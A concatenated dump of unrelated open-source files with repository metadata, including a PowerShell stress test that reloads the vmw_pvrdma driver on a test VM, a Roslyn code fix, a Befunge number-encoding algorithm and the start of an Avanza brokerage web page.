EWorldObjectType mObjectType = EWorldObjectType::NoneError;
/// Dependency information which are varied along with mType.
TComponentMetaList mMetaComponentInfo;
/// `Children object` Meta informations.
std::vector<std::unique_ptr<PDyObjectMetaInfo>> mChildrenList = {};
};
using TObjectMetaInfoList = std::vector<std::unique_ptr<PDyObjectMetaInfo>>;
void to_json (_MINOUT_ nlohmann::json& j, _MIN_ const PDyObjectMetaInfo& p);
void from_json(_MIN_ const nlohmann::json& j, _MINOUT_ PDyObjectMetaInfo& p);
void to_json (_MINOUT_ nlohmann::json& j, _MIN_ const PDyObjectMetaInfo::DCommonProperties& p);
void from_json(_MIN_ const nlohmann::json& j, _MINOUT_ PDyObjectMetaInfo::DCommonProperties& p);
void to_json (_MINOUT_ nlohmann::json& j, _MIN_ const TObjectMetaInfoList& p);
void from_json(_MIN_ const nlohmann::json& j, _MINOUT_ TObjectMetaInfoList& p);
} /// ::dy namespace
#endif /// GUARD_DY_META_INFORMATION_ELEMENTOBJECTMETAINFO_H | 39.289474 | 99 | 0.739786 |
bca8509f7670686423a3ac2e0b950873a537a96b | 111 | js | JavaScript | client/component-tests/sum.test.js | WaterWorldCapstone/WaterWorld | a4ce6db332b73631261ad6b9f3d416d915616caa | [
"MIT"
] | 1 | 2018-07-11T13:35:23.000Z | 2018-07-11T13:35:23.000Z | client/component-tests/sum.test.js | WaterWorldCapstone/WaterWorld | a4ce6db332b73631261ad6b9f3d416d915616caa | [
"MIT"
] | 1 | 2018-06-21T21:29:05.000Z | 2018-06-21T21:29:05.000Z | client/component-tests/sum.test.js | WaterWorldCapstone/WaterWorld | a4ce6db332b73631261ad6b9f3d416d915616caa | [
"MIT"
] | null | null | null | const sum = require('./sum.js')
test('sum adds 1 and 2 and returns 3', () => {
expect(sum(1, 2)).toBe(3)
})
| 18.5 | 46 | 0.567568 |
887f0896700b68362d1a26e0271d0d3899358468 | 3,843 | ps1 | PowerShell | testscripts/rdma_reload_vmx_pvrdma.ps1 | HiRoySoft/ESX-LISA | 46629104fd70694794f72385309d43c38c15c238 | [
"Apache-2.0"
] | 8 | 2017-09-01T01:31:57.000Z | 2019-09-19T09:51:01.000Z | testscripts/rdma_reload_vmx_pvrdma.ps1 | HiRoySoft/ESX-LISA | 46629104fd70694794f72385309d43c38c15c238 | [
"Apache-2.0"
] | 26 | 2017-02-06T08:13:34.000Z | 2020-11-23T18:11:42.000Z | testscripts/rdma_reload_vmx_pvrdma.ps1 | HiRoySoft/ESX-LISA | 46629104fd70694794f72385309d43c38c15c238 | [
"Apache-2.0"
] | 13 | 2017-01-11T09:47:27.000Z | 2019-09-02T09:18:07.000Z | ########################################################################################
## Description:
## Load and unload the vmw_pvrdma module
##
## Revision:
## v1.0.0 - ruqin - 8/16/2018 - Build the script.
## v1.1.0 - boyang - 10/16/2019 - Skip test when host hardware hasn't RDMA NIC.
########################################################################################
<#
.Synopsis
Load and unload the vmw_pvrdma module for 10 minx and check system status
.Description
Load and unload the vmw_pvrdma module for 10 minx and check system status
.Parameter vmName
Name of the test VM.
.Parameter testParams
Semicolon separated list of test parameters.
#>
# Checking the input arguments
param([String] $vmName, [String] $hvServer, [String] $testParams)
if (-not $vmName) {
"Error: VM name cannot be null!"
exit 100
}
if (-not $hvServer) {
"Error: hvServer cannot be null!"
exit 100
}
if (-not $testParams) {
Throw "Error: No test parameters specified"
}
# Output test parameters so they are captured in log file
"TestParams : '${testParams}'"
# Parse the test parameters
$rootDir = $null
$sshKey = $null
$ipv4 = $null
$params = $testParams.Split(";")
foreach ($p in $params) {
$fields = $p.Split("=")
switch ($fields[0].Trim()) {
"sshKey" { $sshKey = $fields[1].Trim() }
"rootDir" { $rootDir = $fields[1].Trim() }
"ipv4" { $ipv4 = $fields[1].Trim() }
default {}
}
}
# Check all parameters are valid
if (-not $rootDir) {
"WARNING: no rootdir was specified"
}
else {
if ( (Test-Path -Path "${rootDir}") ) {
Set-Location $rootDir
}
else {
"WARNING: rootdir '${rootDir}' does not exist"
}
}
if ($null -eq $sshKey) {
"FAIL: Test parameter sshKey was not specified"
return $False
}
if ($null -eq $ipv4) {
"FAIL: Test parameter ipv4 was not specified"
return $False
}
# Source the tcutils.ps1 file
. .\setupscripts\tcutils.ps1
PowerCLIImport
ConnectToVIServer $env:ENVVISIPADDR `
$env:ENVVISUSERNAME `
$env:ENVVISPASSWORD `
$env:ENVVISPROTOCOL
########################################################################################
# Main Body
########################################################################################
$retVal = $Failed
$skip = SkipTestInHost $hvServer "6.0.0"
if($skip)
{
return $Skipped
}
$vmObj = Get-VMHost -Name $hvServer | Get-VM -Name $vmName
if (-not $vmObj) {
LogPrint "ERROR: Unable to Get-VM with $vmName"
DisconnectWithVIServer
return $Aborted
}
# Get the Guest version
$DISTRO = GetLinuxDistro ${ipv4} ${sshKey}
LogPrint "DEBUG: DISTRO: $DISTRO"
if (-not $DISTRO) {
LogPrint "ERROR: Guest OS version is NULL"
DisconnectWithVIServer
return $Aborted
}
# Make sure the vmw_pvrdma is loaded
$Command = "lsmod | grep vmw_pvrdma | wc -l"
$modules = [int] (Write-Output y | bin\plink.exe -i ssh\${sshKey} root@${ipv4} $Command)
LogPrint "DEBUG: modules: ${modules}."
if ($modules -eq 0) {
LogPrint "ERROR : Cannot find any pvRDMA module"
DisconnectWithVIServer
return $Aborted
}
# Unload and load vmw_pvrdma module
$Command = "while true; do modprobe -r vmw_pvrdma; modprobe vmw_pvrdma; done"
Start-Process .\bin\plink.exe -ArgumentList "-i ssh\${sshKey} root@${ipv4} ${Command}" -PassThru -WindowStyle Hidden
LogPrint "INFO: vmw_pvrdma while loop is running"
# Loop runing for 10 mins
Start-Sleep -Seconds 600
# Check System dmesg
$status = CheckCallTrace $ipv4 $sshKey
if (-not $status[-1]) {
Write-Host -F Red "ERROR: Found $($status[-2]) in msg."
Write-Output "ERROR: Found $($status[-2]) in msg."
}
else {
Write-Host -F Red "INFO: NO call trace found."
Write-Output "INFO: NO call trace found."
$retVal = $Passed
}
DisconnectWithVIServer
return $retVal
| 23.722222 | 116 | 0.598491 |
29861e522e61d97d68754e30bd79e922b79c0875 | 948 | go | Go | which_macho.go | siebenmann/which | adcb5d542b4ed942d35680875b57f2282629d00a | [
"MIT"
] | 9 | 2015-11-11T23:15:01.000Z | 2021-07-27T19:55:03.000Z | which_macho.go | siebenmann/which | adcb5d542b4ed942d35680875b57f2282629d00a | [
"MIT"
] | 2 | 2015-04-21T13:59:34.000Z | 2015-04-21T15:27:16.000Z | which_macho.go | siebenmann/which | adcb5d542b4ed942d35680875b57f2282629d00a | [
"MIT"
] | 2 | 2015-04-21T13:50:53.000Z | 2019-09-09T17:37:46.000Z | package which
import "debug/macho"
type machotbl struct {
*macho.File
typ *PlatformType
}
func newmacho(path string) (tabler, error) {
f, err := macho.Open(path)
if err != nil {
return nil, err
}
tbl := machotbl{f, nil}
switch tbl.Cpu {
case macho.Cpu386:
tbl.typ = PlatformDarwin386
case macho.CpuAmd64:
tbl.typ = PlatformDarwinAMD64
}
return tbl, nil
}
func (tbl machotbl) Close() error {
return tbl.File.Close()
}
func (tbl machotbl) Pcln() ([]byte, error) {
pcln := tbl.Section("__gopclntab")
if pcln == nil {
return nil, ErrNotGoExec
}
return pcln.Data()
}
func (tbl machotbl) Sym() ([]byte, error) {
sym := tbl.Section("__gosymtab")
if sym == nil {
return nil, ErrNotGoExec
}
return sym.Data()
}
func (tbl machotbl) Text() (uint64, error) {
text := tbl.Section("__text")
if text == nil {
return 0, ErrNotGoExec
}
return text.Addr, nil
}
func (tbl machotbl) Type() *PlatformType {
return tbl.typ
}
| 16.928571 | 44 | 0.663502 |
9c2374836cb246584d781a11b30f2b25b1db9ba7 | 2,075 | js | JavaScript | file.js | hanhui03/jstruct | 846bfcfa11116e053d39faa3da246193b266c01a | [
"Apache-2.0"
] | 30 | 2022-02-11T07:10:32.000Z | 2022-03-20T10:46:42.000Z | file.js | hanhui03/jstruct | 846bfcfa11116e053d39faa3da246193b266c01a | [
"Apache-2.0"
] | 1 | 2022-03-09T10:10:42.000Z | 2022-03-14T10:33:58.000Z | file.js | hanhui03/jstruct | 846bfcfa11116e053d39faa3da246193b266c01a | [
"Apache-2.0"
] | 11 | 2022-02-11T08:51:21.000Z | 2022-03-11T06:57:51.000Z | /*
* Copyright (c) 2021 ACOAUTO Team.
* All rights reserved.
*
* Detailed license information can be found in the LICENSE file.
*
* File: file.js C & H file template.
*
* Author: Han.hui <hanhui@acoinfo.com>
*
*/
/* Configure */
const CONF = global.CONF;
/*
* C File Header
*/
exports.C_HEADER =
`/*
* Copyright (c) 2021 ACOAUTO Team.
* All rights reserved.
*
* Detailed license information can be found in the LICENSE file.
*
* File: ${CONF.name}_jstruct.c ${CONF.name} JSON <-> C struct.
*
* This file is automatically generated by the jstruct tool, please do not modify.
*
* Author: Han.hui <hanhui@acoinfo.com>
*
*/
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "${CONF.name}_jstruct.h"
`;
/*
* C File Header
*/
exports.C_FOOTER =
`/*
* end
*/
`;
/*
* H File Header
*/
exports.H_HEADER =
`/*
* Copyright (c) 2021 ACOAUTO Team.
* All rights reserved.
*
* Detailed license information can be found in the LICENSE file.
*
* File: ${CONF.name}_jstruct.h ${CONF.name} JSON <-> C struct.
*
* Date: ${new Date().toString()}
*
* This file is automatically generated by the jstruct tool, please do not modify.
*
* Author: Han.hui <hanhui@acoinfo.com>
*
*/
#ifndef ${CONF.name.toUpperCase()}_JSTRUCT_H
#define ${CONF.name.toUpperCase()}_JSTRUCT_H
#include <stdint.h>
#include <stdbool.h>
`;
/*
* C File Header
*/
exports.H_FOOTER = `
#ifdef __cplusplus
extern "C" {
#endif
/* Deserialize the JSON string into a structure '${CONF.struct.name}' */
bool ${CONF.name}_json_parse(struct ${CONF.struct.name} *, const char *, size_t);
/* Free ${CONF.name}_json_parse() buffer, Warning: string type member can no longer be used */
void ${CONF.name}_json_parse_free(struct ${CONF.struct.name} *);
/* Serialize the structure '${CONF.struct.name}' into a JSON string */
char *${CONF.name}_json_stringify(struct ${CONF.struct.name} *);
/* Free ${CONF.name}_json_stringify() return value */
void ${CONF.name}_json_stringify_free(char *);
#ifdef __cplusplus
}
#endif
#endif /* ${CONF.name.toUpperCase()}_JSTRUCT_H */
/*
* end
*/
`;
| 19.392523 | 94 | 0.675663 |
165ed04eb1fe40c1993b9cc389aa69f2886171d6 | 417 | ps1 | PowerShell | installers/1.6.2/chocolatey/apache-spark/tools/chocolateyinstall.ps1 | petabridge/spark-installer-windows | 4596f7261dd2d7e09c7e35eaaceff8465e12ec68 | [
"Apache-2.0"
] | 9 | 2016-12-03T11:34:33.000Z | 2020-12-23T04:08:19.000Z | installers/1.6.2/chocolatey/apache-spark/tools/chocolateyinstall.ps1 | petabridge/spark-installer-windows | 4596f7261dd2d7e09c7e35eaaceff8465e12ec68 | [
"Apache-2.0"
] | 10 | 2016-12-04T03:02:47.000Z | 2017-03-30T16:41:29.000Z | installers/1.6.2/chocolatey/apache-spark/tools/chocolateyinstall.ps1 | petabridge/spark-installer-windows | 4596f7261dd2d7e09c7e35eaaceff8465e12ec68 | [
"Apache-2.0"
] | 6 | 2016-12-02T00:16:37.000Z | 2020-02-13T05:55:12.000Z | $ErrorActionPreference = 'Stop'; # stop on all errors
$packageName= 'apache-spark' # arbitrary name for the package, used in messages
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$psFile = Join-Path $toolsDir 'install-spark1.6.2.ps1'
Install-ChocolateyPowershellCommand -PackageName 'install-spark1.6.2.powershell' -PSFileFullPath $psFile
Invoke-Expression -Command 'install-spark1.6.2' | 52.125 | 104 | 0.776978 |
752283d520890607f7935968f77d0ef82b5a54dc | 2,589 | cs | C# | src/Analyzers/CSharp/CodeFixes/UseIsNullCheck/CSharpUseIsNullCheckForReferenceEqualsCodeFixProvider.cs | douglasg14b/roslyn | 4996759d188c753dca0d7bbb9c690817f29d0d30 | [
"MIT"
] | 3 | 2019-04-08T16:09:56.000Z | 2019-04-08T16:17:20.000Z | src/Analyzers/CSharp/CodeFixes/UseIsNullCheck/CSharpUseIsNullCheckForReferenceEqualsCodeFixProvider.cs | douglasg14b/roslyn | 4996759d188c753dca0d7bbb9c690817f29d0d30 | [
"MIT"
] | 1 | 2020-04-10T09:52:36.000Z | 2020-04-10T09:52:36.000Z | src/Analyzers/CSharp/CodeFixes/UseIsNullCheck/CSharpUseIsNullCheckForReferenceEqualsCodeFixProvider.cs | douglasg14b/roslyn | 4996759d188c753dca0d7bbb9c690817f29d0d30 | [
"MIT"
] | null | null | null | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Composition;
using System.Diagnostics.CodeAnalysis;
using Microsoft.CodeAnalysis.CodeFixes;
using Microsoft.CodeAnalysis.CSharp.Extensions;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.UseIsNullCheck;
namespace Microsoft.CodeAnalysis.CSharp.UseIsNullCheck
{
[ExportCodeFixProvider(LanguageNames.CSharp), Shared]
internal class CSharpUseIsNullCheckForReferenceEqualsCodeFixProvider : AbstractUseIsNullCheckForReferenceEqualsCodeFixProvider
{
[ImportingConstructor]
[SuppressMessage("RoslynDiagnosticsReliability", "RS0033:Importing constructor should be [Obsolete]", Justification = "Used in test code: https://github.com/dotnet/roslyn/issues/42814")]
public CSharpUseIsNullCheckForReferenceEqualsCodeFixProvider()
{
}
protected override string GetIsNullTitle()
=> CSharpAnalyzersResources.Use_is_null_check;
protected override string GetIsNotNullTitle()
=> GetIsNullTitle();
private static SyntaxNode CreateEqualsNullCheck(SyntaxNode argument)
=> SyntaxFactory.BinaryExpression(
SyntaxKind.EqualsExpression,
(ExpressionSyntax)argument,
SyntaxFactory.LiteralExpression(SyntaxKind.NullLiteralExpression)).Parenthesize();
private static SyntaxNode CreateIsNullCheck(SyntaxNode argument)
=> SyntaxFactory.IsPatternExpression(
(ExpressionSyntax)argument,
SyntaxFactory.ConstantPattern(SyntaxFactory.LiteralExpression(SyntaxKind.NullLiteralExpression))).Parenthesize();
private static SyntaxNode CreateIsNotNullCheck(SyntaxNode argument)
{
return SyntaxFactory
.BinaryExpression(
SyntaxKind.IsExpression,
(ExpressionSyntax)argument,
SyntaxFactory.PredefinedType(SyntaxFactory.Token(SyntaxKind.ObjectKeyword)))
.Parenthesize();
}
protected override SyntaxNode CreateNullCheck(SyntaxNode argument, bool isUnconstrainedGeneric)
=> isUnconstrainedGeneric
? CreateEqualsNullCheck(argument)
: CreateIsNullCheck(argument);
protected override SyntaxNode CreateNotNullCheck(SyntaxNode argument)
=> CreateIsNotNullCheck(argument);
}
}
| 43.881356 | 194 | 0.713789 |
eed0d3f9580b175648c8471da11d354990cbd285 | 3,406 | cs | C# | Algorithms/StringifyAlgorithm.cs | Mikescher/BefunRep | ee34b71b40cbcd69965dcdfe4ed837acc713e893 | [
"MIT"
] | null | null | null | Algorithms/StringifyAlgorithm.cs | Mikescher/BefunRep | ee34b71b40cbcd69965dcdfe4ed837acc713e893 | [
"MIT"
] | 1 | 2021-06-02T08:52:28.000Z | 2021-06-03T03:29:12.000Z | Algorithms/StringifyAlgorithm.cs | Mikescher/BefunRep | ee34b71b40cbcd69965dcdfe4ed837acc713e893 | [
"MIT"
] | null | null | null | using BefunRep.Exceptions;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace BefunRep.Algorithms
{
/// <summary>
/// Tries to represent numbers as multiplication and addition of stringmode-representable characters
/// Not possible for all numbers
/// </summary>
public class StringifyAlgorithm : RepAlgorithm
{
private enum StripOp { Add, Mult }
private const char MIN_ASCII = ' '; // 32
private const char MAX_ASCII = '~'; // 126
public StringifyAlgorithm(byte aid)
: base(aid)
{
// NOP
}
protected override string Get(long lit)
{
if (lit < 0)
{
return null;
}
if (lit >= 0 && lit <= 9)
{
return "" + Dig(lit);
}
if (lit < MIN_ASCII && lit >= (MIN_ASCII - 9))
{
if (lit + 9 == '"')
{
string p = Get(lit + 8);
if (p == null)
return null;
return p + "8-";
}
else
{
string p = Get(lit + 9);
if (p == null)
return null;
return p + "9-";
}
}
if (lit < (MIN_ASCII - 9))
{
return null;
}
List<char> str;
List<StripOp> ops;
if (CalculateStringOps(out str, out ops, lit))
{
StringBuilder p = new StringBuilder();
p.Append('"');
foreach (char c in str)
p.Append(c);
p.Append('"');
foreach (StripOp op in ops)
{
switch (op)
{
case StripOp.Add:
p.Append('+');
break;
case StripOp.Mult:
p.Append('*');
break;
default:
throw new WTFException();
}
}
return p.ToString();
}
return null;
}
private static bool CalculateStringOps(out List<char> str, out List<StripOp> ops, long val)
{
if (val < MIN_ASCII)
{
ops = null;
str = null;
return false;
}
//##########################################################################
if (val >= MIN_ASCII && val <= MAX_ASCII && val != '"')
{
ops = new List<StripOp>();
str = new List<char>() { (char)val };
return true;
}
//##########################################################################
List<char> backupStr = null;
List<StripOp> backupOps = null;
for (char curr = MAX_ASCII; curr >= MIN_ASCII; curr--)
{
if (curr == '"')
continue;
if (val % curr == 0 && val / curr > MIN_ASCII)
{
List<char> oStr;
List<StripOp> oOps;
if (CalculateStringOps(out oStr, out oOps, val / curr))
{
str = oStr.ToList();
ops = oOps.ToList();
str.Insert(0, curr);
ops.Add(StripOp.Mult);
if (str.Contains(' '))
{
backupOps = ops;
backupStr = str;
}
else
{
return true;
}
}
}
}
//##########################################################################
for (char curr = MAX_ASCII; curr >= MIN_ASCII; curr--)
{
if (curr == '"')
continue;
List<char> oStr;
List<StripOp> oOps;
if (CalculateStringOps(out oStr, out oOps, val - curr))
{
str = oStr.ToList();
ops = oOps.ToList();
str.Insert(0, curr);
ops.Add(StripOp.Add);
if (str.Contains(' '))
{
backupOps = ops;
backupStr = str;
}
else
{
return true;
}
}
}
if (backupStr != null)
{
str = backupStr;
ops = backupOps;
return true;
}
str = null;
ops = null;
return false;
}
}
}
| 17.377551 | 101 | 0.485907 |
0d732b5e5b01af186017fdbb9c64fbe286691f22 | 286 | lua | Lua | MMOCoreORB/bin/scripts/object/custom_content/tangible/wearables/gloves/appearance_invisible_s01.lua | V-Fib/FlurryClone | 40e0ca7245ec31b3815eb6459329fd9e70f88936 | [
"Zlib",
"OpenSSL"
] | 18 | 2017-02-09T15:36:05.000Z | 2021-12-21T04:22:15.000Z | MMOCoreORB/bin/scripts/object/custom_content/tangible/wearables/gloves/appearance_invisible_s01.lua | V-Fib/FlurryClone | 40e0ca7245ec31b3815eb6459329fd9e70f88936 | [
"Zlib",
"OpenSSL"
] | 61 | 2016-12-30T21:51:10.000Z | 2021-12-10T20:25:56.000Z | MMOCoreORB/bin/scripts/object/custom_content/tangible/wearables/gloves/appearance_invisible_s01.lua | V-Fib/FlurryClone | 40e0ca7245ec31b3815eb6459329fd9e70f88936 | [
"Zlib",
"OpenSSL"
] | 71 | 2017-01-01T05:34:38.000Z | 2022-03-29T01:04:00.000Z |
object_tangible_wearables_gloves_appearance_invisible_s01 = object_tangible_wearables_gloves_shared_appearance_invisible_s01:new {
}
ObjectTemplates:addTemplate(object_tangible_wearables_gloves_appearance_invisible_s01, "object/tangible/wearables/gloves/appearance_invisible_s01.iff") | 57.2 | 151 | 0.91958 |
116f4e6082a1fed3f5c7084362f44cbc6cafb107 | 424,874 | html | HTML | app/lambda/test/data/OMX-Weeklies-overview-1.html | johannesg/theta-gang-sweden | 237ddfa2820fcdc7c9978382751cf14b516786eb | [
"Apache-2.0"
] | null | null | null | app/lambda/test/data/OMX-Weeklies-overview-1.html | johannesg/theta-gang-sweden | 237ddfa2820fcdc7c9978382751cf14b516786eb | [
"Apache-2.0"
] | null | null | null | app/lambda/test/data/OMX-Weeklies-overview-1.html | johannesg/theta-gang-sweden | 237ddfa2820fcdc7c9978382751cf14b516786eb | [
"Apache-2.0"
] | null | null | null |
<!DOCTYPE html>
<html lang="sv">
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=EDGE" />
<meta name="theme-color" content="#00C281">
<meta name="viewport" content="width=1155"/>
<meta property="og:title" content=""/>
<meta property="og:description" content=""/>
<meta property="og:image" content=""/>
<meta name="keywords" content="">
<meta name="description" content="Hos Avanza kan du enkelt söka fram olika optioner och weeklys. Du kan även kategoriera utifrån underliggande och köp-/säljoptioner.">
<meta name="format-detection" content="telephone=no"/>
<meta name="apple-itunes-app" content="app-id=381311572"/>
<meta name="application-name" content="Avanza" />
<meta name="msapplication-tooltip" content="Avanza" />
<meta name="msapplication-starturl" content="/start" />
<meta name="msapplication-navbutton-color" content="#009640" />
<title>Sök fram Optioner & Terminer i vår lista | Avanza</title>
<script type="text/javascript" src="/jmvc/lib/modernizr-custom-min.283088.1.js"></script>
<script type="text/javascript">
if(!Modernizr.cssgradients){
document.documentElement.className += " modernizr-no-cssgradients";
}
if(!Modernizr.smil) {
document.documentElement.className += " modernizr-no-smil";
}
</script>
<link rel="stylesheet" href="/jmvc/avanzabank/production.283088.1.css" type="text/css"/>
<link rel="shortcut icon" href="/jmvc/avanzabank/images/favicon.ico?v=2"/>
<script type="text/javascript" src="/jmvc/plugin/cookie.js"></script>
<script type="text/javascript">
if(document.documentMode){
if(document.documentMode < 10){
window.location.replace("/browser-not-supported.html");
} else if(document.documentMode < 11){
if(azaCookie.getCookie('browserhint') !== 'true'){
window.location.replace("/uppgradera-din-webblasare.html");
}
}
}
</script>
<script>
var require = {
baseUrl: '/jmvc/production/283088.1',
waitSeconds: 0
};
</script>
<script data-main="/jmvc/production/283088.1/core/core.js" src="/jmvc/production/require.js"></script>
</head>
<body class="" data-server_timezone_offset="120">
<div class="cookieMessage hide">
<div class="cookieBanner">
<div class="cookieMessageContent">
<p class="cookieMessageText">
Vi använder cookies på vår sajt för att få den att fungera korrekt, personalisera innehåll och annonser och för
att analysera hur sajten används. Genom att godkänna accepterar du att cookies används.
<a class="cookieReadMoreLink" href="/sakerhet-villkor/cookies.html">Läs mer och hantera inställningar</a>
</p>
<button class="cookieMessageButton" type="button">
Godkänn
</button>
</div>
</div>
<div class="site-filter"></div>
</div>
<header id="siteHeader" class="avanzabankHeader clearFix plcPrintHide navigation-v2">
<div class="avanzabankHeaderBackground">
<div class="avanzabankHeaderTopBar">
<div class="sWidth clearFix">
<div id="headerIndicies" class="fLeft"></div>
<div class="avanzabankHeaderMarketLink fLeft">
<a href="/marknadsoversikt.html">Börsen idag</a>
</div>
<div class="headerExtra fRight relative">
<div class="userMeta fLeft">
<a href="/bli-kund.html" class="register">Bli kund</a>
<div id="loginWrapper" class="loginWrapper fLeft "
data-logged_in="false"
data-usertoken=""
data-push_serverurl="/_push/cometd"
data-push_subscriptionid=""
data-push_connected="false"
data-enable-websockets="true"
data-push_setting_active="off"
data-open_order_window="false"
data-report-js-error="false">
<button class="logInLink" data-autofocus_input="true">
Logga in
</button>
</div>
</div>
<button class="toolTipToggler globalSearchIcon" data-autofocus="true">
<div>Sök</div>
</button>
<div class="searchWrapper tooltip rightNavTooltip search">
<div id="globalSearchForm" class="clearFix">
<div class="tooltipHeader">
<h4 class="ubuntu">Sök</h4>
<img src="/jmvc/avanzabank/images/tooltip_close_ico_gray.svg" class="closeTooltipIcon" alt="Stäng" title="Stäng">
<input type="search" name="query" class="searchInput ubuntu fLeft" placeholder="Sök Värdepapper" autocomplete="off"
value=""/>
</div>
<div id="ajaxSrch" class="ajaxSrch borderBox">
<div class="ajaxSrchContent"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<nav id="mainNav" class="mainNavWrapper tCenter" role="navigation">
<div class="sWidth">
<div class="logo">
<a href="/start">
<img src="/jmvc/avanzabank/images/logo.svg" alt="Avanza" class="logoIco">
</a>
</div>
<button class="openSideNav visibleXs hide">
<span></span>
<span></span>
<span></span>
</button>
<ul class="firstNav floatList cleanList hiddenXs">
<li>
<button class="expandNavItem is-active">
<span>
Spara & Investera
</span>
</button>
<div class="secondNavContainer">
<ul class="secondNav cleanList hide">
<li>
<button class="expandNavItem "
data-second-nav-id="0">
Aktier
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="0">
<li>
<a href="/aktier/aktieinspiration.html" class="">
Aktieinspiration
</a>
</li>
<li>
<a href="/aktier/aktiegeneratorn.html" class="">
Aktiegeneratorn
</a>
</li>
<li>
<a href="/aktier/lista.html" class="">
Aktielistan
</a>
</li>
<li>
<a href="/aktier/ratter-teckningsoptioner.html" class="">
Rätter & Teckningsoptioner
</a>
</li>
<li>
<a href="/aktier/oppettider-handelskalender.html" class="">
Öppettider & handelskalender
</a>
</li>
<li>
<button class="expandNavItem ">
Så handlar du aktier
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/aktier/handla-aktier/aktiehandel.html" class="">
Så köper du aktier
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-europa.html" class="">
Handla aktier i Europa
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-norden.html" class="">
Handla aktier i Norden
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-usa-kanada.html" class="">
Handla aktier i USA & Kanada
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-ovriga-varlden.html" class="">
Handla aktier i övriga världen
</a>
</li>
</ul>
</li>
</ul>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="1">
Fonder
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="1">
<li>
<a href="/fonder/fondinspiration.html" class="">
Fondinspiration
</a>
</li>
<li>
<a href="/fonder/portfoljgeneratorn.html" class="">
Portföljgeneratorn
</a>
</li>
<li>
<a href="/fonder/lista.html" class="">
Fondlistan
</a>
</li>
<li>
<a href="/fonder/handla-fonder.html" class="">
Så sparar du i fonder
</a>
</li>
<li>
<a href="/fonder/vara-indexfonder.html" class="">
Våra indexfonder
</a>
</li>
<li>
<button class="expandNavItem ">
Alla våra egna fonder
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/fonder/vara-egna-fonder/avanza-auto-only-menu-button.html" class="">
Avanza Auto
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-global.html" class="">
Avanza Global
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-emerging-markets.html" class="">
Avanza Emerging Markets
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-usa.html" class="">
Avanza USA
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-europa.html" class="">
Avanza Europa
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-zero.html" class="">
Avanza Zero
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-smabolag-by-skoglund.html" class="">
Avanza Småbolag by Skoglund
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-world-tech-by-tin.html" class="">
Avanza World Tech by TIN
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/fond-i-fond.html" class="">
Avanza 100, 75 och 50
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/vara-fonder-i-ppm.html" class="">
Våra fonder i PPM
</a>
</li>
</ul>
</li>
</ul>
</li>
<li>
<a href="/marknadsoversikt.html" class="">
Börsen idag
</a>
</li>
<li>
<a href="/avanza-auto.html" class="">
Avanza Auto
</a>
</li>
<li>
<a href="/sparkonto.html" class="">
Sparkonto
</a>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="5">
Pension
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="5">
<li>
<a href="/pension/borja-pensionsspara.html" class="">
Börja pensionsspara
</a>
</li>
<li>
<a href="/pension/flytta-din-pension.html" class="">
Flytta din pension
</a>
</li>
<li>
<a href="/pension/ta-ut-pensionen.html" class="">
Ta ut pensionen
</a>
</li>
<li>
<a href="/pension/vara-fonder-i-ppm.html" class="">
Våra fonder i PPM
</a>
</li>
<li>
<a href="/pension/formedlare.html" class="">
Förmedlare
</a>
</li>
<li>
<a href="/pension/allt-om-din-pension.html" class="">
Allt om din pension
</a>
</li>
</ul>
</li>
<li>
<a href="/barnspar.html" class="">
Spara till barn
</a>
</li>
<li>
<a href="/manadssparande.html" class="">
Månadsspara
</a>
</li>
<li>
<a href="/borsintroduktioner-emissioner.html" class="">
Börsintroduktioner & emissioner
</a>
</li>
<li>
<a href="/spara-hallbart.html" class="">
Spara hållbart
</a>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="10">
Börshandlade produkter
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="10">
<li>
<a href="/borshandlade-produkter/oversikt.html" class="">
Om börshandlade produkter
</a>
</li>
<li>
<button class="expandNavItem ">
Avanza Markets
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/avanza-markets/om-avanza-markets.html" class="">
Om Avanza Markets
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/lar-dig-mer.html" class="">
Lär dig mer
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/handla-certifikat.html" class="">
Handla Certifikat & Trackers
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/handla-mini-futures.html" class="">
Handla Mini futures & Turbos
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Trackers
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/trackers/avanza-trackers.html" class="">
Avanza Trackers
</a>
</li>
<li>
<a href="/borshandlade-produkter/trackers/trackers.html" class="">
Trackers
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Certifikat
</button>
<ul class="fourthNav cleanList hide">
<li>
